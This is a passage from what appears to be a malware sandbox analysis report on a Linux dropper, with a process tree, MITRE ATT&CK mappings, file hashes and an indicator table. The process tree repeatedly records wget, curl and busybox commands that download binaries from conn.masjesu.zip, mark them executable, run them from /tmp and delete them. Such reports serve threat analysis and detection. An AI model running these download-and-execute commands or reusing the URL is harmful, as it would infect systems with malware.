  - System Network Configuration Discovery
  PID:956
- /bin/chmod
  chmod 777 mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  ./mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
  2⤵
  PID:959
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  PID:963
- /bin/chmod
  chmod 777 tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  ./tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
  2⤵
  PID:966
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  PID:970
- /bin/chmod
  chmod 777 P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  ./P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
  2⤵
  PID:973
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - System Network Configuration Discovery
  PID:974
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - System Network Configuration Discovery
  PID:977
- /bin/chmod
  chmod 777 tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  ./tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
  2⤵
  PID:980
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  - System Network Configuration Discovery
  PID:984
- /bin/chmod
  chmod 777 4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  ./4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm 4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  ./BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
  2⤵
  PID:994
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - System Network Configuration Discovery
  PID:995
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  PID:998
- /bin/chmod
  chmod 777 NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  ./NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  - Executes dropped EXE
  PID:1000
- /bin/rm
  rm NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
  2⤵
  PID:1001

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg

Path /tmp/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg	733	NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg
/tmp/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda	740	n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
/tmp/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ	788	vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
/tmp/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8	799	ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
/tmp/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR	806	iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
/tmp/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8	831	s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
/tmp/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw	853	fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
/tmp/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M	860	mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
/tmp/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ	867	C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
/tmp/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR	874	tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
/tmp/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR	881	P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
/tmp/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf	888	tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
/tmp/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC	895	4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
/tmp/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U	902	BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
/tmp/n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda	909	n6q9M3eW23SGxwH3enuPs99YFq3YQPMMda
/tmp/vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ	916	vWIMJKgB2Znt6aWOaqkRkGHuoRF5GAsjyQ
/tmp/C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ	923	C0gLovcQwxCwB0LMeiy9IcT04U6NQzHIIQ
/tmp/ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8	930	ai2eHYPhuu14lQKvbvm7Ij18ypVOjWoyu8
/tmp/iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR	937	iEBitJ1a0KAbMQj4IjjvqdmlJyO6SwqSwR
/tmp/s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8	944	s1o5WcXv1GHSdRrnPdJTVE9ZHxs1f6V7N8
/tmp/fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw	951	fOJjUrhKfPOMkc9hxshShC13TBZR3ZKlMw
/tmp/mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M	958	mWWi9Mkl5yPdSXlQWTHgncIs30MdZzxv9M
/tmp/tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR	965	tF7nVo91qCDoxjoLso4yJ3wbCZb3yHIzxR
/tmp/P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR	972	P4TFvOSYhz4TwQANwgzlQL8SLMKfdzZkDR
/tmp/tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf	979	tkcNBpLBLOcgmjFi7LpROHc70zIKy9EXyf
/tmp/4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC	986	4Ocnwog8d951YhYp9A3uj8t9RXwsjsTVxC
/tmp/BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U	993	BMJSyjGl5XLESRGK8LKvF9x8VQsLyyM47U
/tmp/NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg	1000	NWmjVbBEAeU0VklxYwjE22YW1UiKJAWGrg